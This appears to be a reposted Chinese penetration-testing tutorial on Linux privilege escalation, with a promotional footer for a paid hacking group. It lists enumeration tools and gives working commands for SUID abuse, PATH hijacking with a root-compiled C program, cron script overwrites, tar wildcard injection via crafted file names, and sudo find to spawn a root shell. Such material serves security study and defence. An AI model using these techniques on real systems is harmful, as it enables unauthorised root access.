内网渗透 | Linux权限提升大法
2023-11-30 23:30:48 Author: 渗透安全团队(查看原文) 阅读量:15 收藏

0X01工具介绍

1.traitor

https://github.com/liamg/traitor自动化探测漏洞并且尝试提权工具,也会进行一些信息收集,但是漏洞库数量较少不带参数运行寻找可能存在的漏洞带-a参数运行寻找漏洞并尝试执行,如果已知当前用户密码可以加-p参数

2.LinEnum

https://github.com/rebootuser/LinEnum可以对linux主机进行一个综合信息探测,扫描linux上是否存在配置问题可以利用,例如版本,定时任务,权限,环境变量等等,可以方便我们快速的确认当前可以提权的方式

3.linux-exploit-suggester.sh

https://github.com/The-Z-Labs/linux-exploit-suggester漏扫脚本,查看是否有可以利用的漏洞

4.Linux Exploit Suggester 2

https://github.com/jondonas/linux-exploit-suggester-2漏扫脚本,查看是否有可以利用的漏洞

5.beroot

https://github.com/AlessandroZ/BeRootBeRoot是一个后期开发工具,用于检查常见的Windows的配置错误,以方便找到提高我们提权的方法。

0X02提权手法

1.利用suid提权

具有suid权限的文件在执行时,可以使调用者暂时获得该文件拥有者的执行权限,也就是说,具有suid权限的属于root用户的文件,在执行时,不管你当前是不是root用户,都可以以root权限执行,利用这个特性,我们就可以找一些具有suid权限切可以执行我们自定义命令的程序进行提权。

手动查看有suid权限的程序

find / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -print  2>/dev/null

可以用来提权的命令

NmapVimfindBashMoreLessNanocp

find利用

touch pentestlabfind pentestlab -exec whoami \;

其他利用手法参考该网站

https://pentestlab.blog/2017/09/25/suid-executables/

2.环境变量提权

管理员编译程序的时候,给了程序管理员权限运行的权限,通过对程序的运行调试得到程序运行的大概逻辑,尝试对程序调用的环境变量进行复制后覆盖。导致程序调用环境变量过程中会调用到我们的想执行的程序,通常是我们的木马后门.

提权流程:

  1. ind / -perm -u=s -type f 2>/dev/null使用该命令,或者上述工具进行信息收集,找到有suid权限的程序

  2. 找到用户自己编译的程序

  3. 去分析这些程序,通过反编译,调试等手段,查看是否有程序在运行过程中调用了环境变量的命令,如ps,su,ping等等

  4. 我们把bash或者sh复制为ps,并添加到环境变量,那么程序在调用ps时就会优先调用我们最新添加的环境变量ps,使用sudi权限执行bash或者ps我们就会得到root权限的shell,从而达到提权的目的

  5. Linux 在执行命令时会按照以下顺序搜索可执行文件:

 命令别名(alias):首先会检查是否存在与命令名称匹配的别名,如果有,则执行别名对应的命令。 用户自定义的函数(如果存在):如果用户在当前 Shell 中定义了与命令名称相同的函数,则会执行该函数。 内建命令(built-in):Linux Shell 提供了一些内建命令,例如 `cd``echo` 等。如果命令是内建命令,则会执行内建命令。 按照 PATH 环境变量中的顺序搜索可执行文件:如果以上步骤都不匹配,那么会按照环境变量 PATH 中指定的路径顺序搜索可执行文件。PATH 环境变量包含一系列用冒号分隔的目录路径。从左到右依次搜索这些路径,找到匹配的第一个可执行文件后执行。

具体操作

先写一段c程序,调用ps命令,设置uid和gid为0是要使用root权限来执行后续的操作

#include<unistd.h>#include<stdlib.h>void main(){    setuid(0);    setgid(0);    system("ps");
}
gcc mytest.c -o mytest在root权限下编译输出mytest可执行文件chmod u+s mytest    使用该命令赋予mytest  **suid**执行权限让mytest执行时候自动以管理员权限执行使用find / -perm -u=s -type f 2>/dev/null寻找具有suid权限的程序

可以发现我们刚才编译的程序

这时我们切换到普通用户权限,利用这个普通用户权限进行提权

使用cp命令把bash复制到/tmp/ps  ,相当于把bash复制到tmp目录下并改名为ps

我们再把tmp目录添加到环境变量

export PATH=/tmp:$PATH

echo $PATH

可以发现此时执行ps返回的是一个shell

那么此时我们执行mytest程序它调用的ps就会执行bash返回给我们一个shell,因为他是以root权限执行的,所以就会返回给我们一个root权限的shell.

可以看到我们成功从普通用户提到了root权限

3.定时任务提权

3.1定时任务文件覆盖提权

利用定时任务有时候也可以达到提权的目的,修改有root权限的定时任务程序进行提权.

需要具备的条件

有root权限执行的定时任务有权限修改root权限执行的定时任务


通过修改定时任务的程序,让定时任务以root权限执行时执行我们想执行的内容,从而达到提权的目的

实操

添加定时任务,直接修改/etc/crontab添加,添加定时任务还可以使用crontab -e添加,但是crontab -e添加的定时任务只有当前用户可以看见,所以这种提权方式需要直接修改/etc/crontab添加定时任务,并以root权限执行

vim /etc/crontab

这里添加一个定时清楚目录下所有文件的脚本,也可以使用sh等脚本,这里使用python

*/1 * * * * root /usr/bin/python3 /root/test/cleanup.py
import osimport systry:    os.system('rm -r /root/add/*')except:    sys.exit()


添加后保存即可,此时定时任务已经添加成功
切换到普通用户,cat /etc/crontab即可查看我们添加的定时任务

在普通用户下也可以编译定时任务执行的文件

可以把命令替换成 chmod u+s /bin/dash 赋予dash以suid权限(如果不能修改,有删除权限的话可以直接删掉,写入一个同名文件即可),返回给我们一个root权限的shel,需要加上-p参数才能提权,dash -p

我们这边还可以给另一些可以提权的命令suid权限,例如我们的find命令,这边我给find命令添加suid权限后也成功拿到了root权限

 find `which find` -exec whoami \;

3.2定时任务Tar命令通配符注入提权

添加一个定时任务,每分钟备份一次add文件夹下的内容到back目录下

nano /etc/crontab*/1 *   * * *   root cd/root/add;tar -zcf /root/back/add.tgz *

接下来模拟攻击者提权,发现存在定时任务压缩后,在add目录下执行以下三个命令,创建三个文件

创建一个--checkpoint-action=exec=sh test.sh名字的空文件,创建--checkpoint=1名字的空文件,创建一个test.sh,里边输入我们想要使用root权限执行的命令,然后赋予test.sh可执行权限即可

echo "" > "--checkpoint-action=exec=sh test.sh"echo "" > --checkpoint=1echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.shchmod +x test.sh

此时等待定时任务完成即可发现在/tmp目录下多了一个bash文件

使用 /tmp/bash -p 即可提权

这个方法利用了命令的一些特性,例如,目录下存在一个--help文件时,我们使用cat --help会执行cat的帮助文档,不会获取文件的信息,这边也是一样,在执行过程中会发生以下的事情

tar -zcf /root/back/add.tgz --checkpoint=1tar -zcf /root/back/add.tgz --checkpoint-action=exec=sh test.sh

在压缩这两个名字的时候,会把checkpoint设为1,且执行我们的test.sh文件,由于定时任务以root权限运行,那么我们就可以利用这个特性,在test.sh写入我们想执行的任何命令,达到提权的一个效果

还有另一种情况
刚才的例子是压缩了当前目录的文件,但是当命令是压缩指定目录下的文件时,刚才的用法就失效了,例如在以下定时任务情况下,指定了/root/add/*目录,此时拼接就会失效。

nano /etc/crontab*/1 *   * * *   root tar -zcf /root/back/add.tgz /root/add/*

这时候需要我们在执行完上面的操作后,对add目录下的文件进行一个归档,才可以成功解析我们的命令,具体操作如下

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >test.shecho "" > "--checkpoint-action=exec=sh test.sh"echo "" > --checkpoint=1tar cf archive.tar *

执行完后,只需要等待定时任务触发即可执行我们的test.sh

4.Rsync
Rsync是linux下的一款数据备份工具,默认开启873端口
通过Rsync替换定时任务的程序提权

5.Docker提权

如果用户具有docker权限,可以利用docker的挂载,实现容器和主机共享目录,从而修改访问主机文件,添加用户,等功能,完成提权

条件:当前用户在docker用户组,可以使用docke

6.SUDO提权

在linux中,可能会给普通用户sudo权限,以便使用sudo进行root权限才可以进行的操作,/etc/sudoers文

件是sudo权限的配置文件,其中存储了哪些用户以及命令可以以sudo权限执行

这三条得意思分别是:

root ALL=(ALL:ALL) ALL :允许用户root在任何主机上以任何用户身份(ALL:ALL)执行任何命令。这授予了最高的权限。
%admin ALL=(ALL) ALL :允许属于admin组的用户在任何主机上以任何用户身份执行任何命令。这是通过%admin表示组权限,ALL表示可以在任何主机上执行,(ALL) ALL表示可以以任何用户身份执行任何命令。
%sudo ALL=(ALL:ALL) ALL :允许属于sudo组的用户在任何主机上以任何用户身份执行任何命令。与admin组的权限相似,这里也使用了%sudo表示组权限。

在实战中,目标可能会给普通用户分配sudo权限,可能是 ALL=(ALL:ALL) ALL ,也可能是针对某个命令可

以使用sudo权限,如 ALL(ALL:ALL) /usr/bin/find

这种sudo提权的方式就和suid提权的方式有点相识,但是使用sudo提权需要两个必备条件

知道当前用户的密码

有sudo权限执行任意命令,或者sudo可以执行特定可以提权的命令

如果sudo可以执行任何命令,那么我们可以直接 sudo bash 获取root权限的shell,如果不能,需要查

看/etc/sudoers配置文件中可以执行哪些命令,上文中可以使用suid提权的命令在此处也是适用的

例如:find提权

sudo find /home -exec whoami \; ,可以看到获得的是root用户

sudo find /home -exec bash \; 或者直接调用bash来获取shell


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247512492&idx=2&sn=ad34bfc68da5e5ad5718fbaeda62484c&chksm=c1764c03f601c5159f56776af9429d2e429f2f480596138abfadf141d147f4edb8d4afaa4690&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh